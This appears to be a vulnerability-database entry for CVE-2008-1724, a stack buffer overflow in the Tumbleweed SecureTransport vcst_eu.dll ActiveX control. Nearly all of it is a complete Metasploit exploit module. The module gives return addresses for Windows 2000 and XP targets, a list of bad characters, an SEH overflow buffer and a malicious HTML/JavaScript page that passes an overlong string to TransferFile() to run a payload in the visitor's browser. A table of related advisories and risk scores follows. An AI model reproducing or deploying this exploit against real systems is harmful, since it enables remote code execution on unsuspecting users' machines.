Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow

🗓️ 07 Apr 2008 07:57:10Reported by aushack <[email protected]>Type

Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow exploi

Reporter	Title	Published	Views	Family All 8
Circl	CVE-2008-1724	7 Apr 200800:00	–	circl
CVE	CVE-2008-1724	11 Apr 200819:00	–	cve
Cvelist	CVE-2008-1724	11 Apr 200819:00	–	cvelist
Exploit DB	Tumbleweed SecureTransport FileTransfer - 'vcst_eu.dll' ActiveX Control Buffer Overflow (Metasploit)	15 Jun 201000:00	–	exploitdb
NVD	CVE-2008-1724	11 Apr 200819:05	–	nvd
Packet Storm	Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow	26 Nov 200900:00	–	packetstorm
Prion	Stack overflow	11 Apr 200819:05	–	prion
Tenable Nessus	Tumbleweed SecureTransport vcst_eu.dll ActiveX Control Buffer Overflows	21 Aug 201300:00	–	nessus

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the vcst_eu.dll
        FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed
        SecureTransport suite. By sending an overly long string to the
        TransferFile() 'remotefile' function, an attacker may be able
        to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'aushack',
      'References'     =>
        [
          [ 'CVE', '2008-1724' ],
          [ 'OSVDB', '44252' ],
          [ 'URL', 'http://www.aushack.com/200708-tumbleweed.txt' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'		=>
        {
          'Space'		=> 1000,
          'BadChars'	=> "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0<>()\"\\",
        },
      'Platform'		=> 'win',
      'Targets'		=>
        [
          # Patrick - tested successfully against W2KSP0 EN, W2KSP4 EN, XPSP0 EN, 2007/08/17.
          [ 'Universal vcst_eu.dll',		{ 'Ret' => 0x1001ee75 } ],
          [ 'Windows 2000 Pro English',   	{ 'Ret' => 0x75022ac4 } ],
          [ 'Windows XP Pro SP0/SP1 English',	{ 'Ret' => 0x71aa32ad } ],
        ],
      'DisclosureDate' => '2008-04-07',
      'DefaultTarget' => 0))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname		= rand_text_alpha(rand(100) + 1)
    vurl 		= rand_text_alpha(rand(100) + 1)
    vhostName	= rand_text_alpha(rand(100) + 1)
    vlocalFile 	= rand_text_alpha(rand(100) + 1)
    vMD5	 	= rand_text_alpha(rand(100) + 1)

    # Build the exploit buffer
    filler = rand_text_alpha(4620)
    seh = generate_seh_payload(target.ret)
    sploit = filler + seh

    # Build out the message
    content = %Q|
      <html>
      <object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3" id="#{vname}"></object>
      <script language="javascript">
      #{vname}.TransferFile("#{vurl}", "#{vhostName}", "#{vlocalFile}", "#{sploit}", "#{vMD5}", false, false, 80, false, true, true, 420)
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

7.9High risk

Vulners AI Score7.9

CVSS 29.3

EPSS0.35128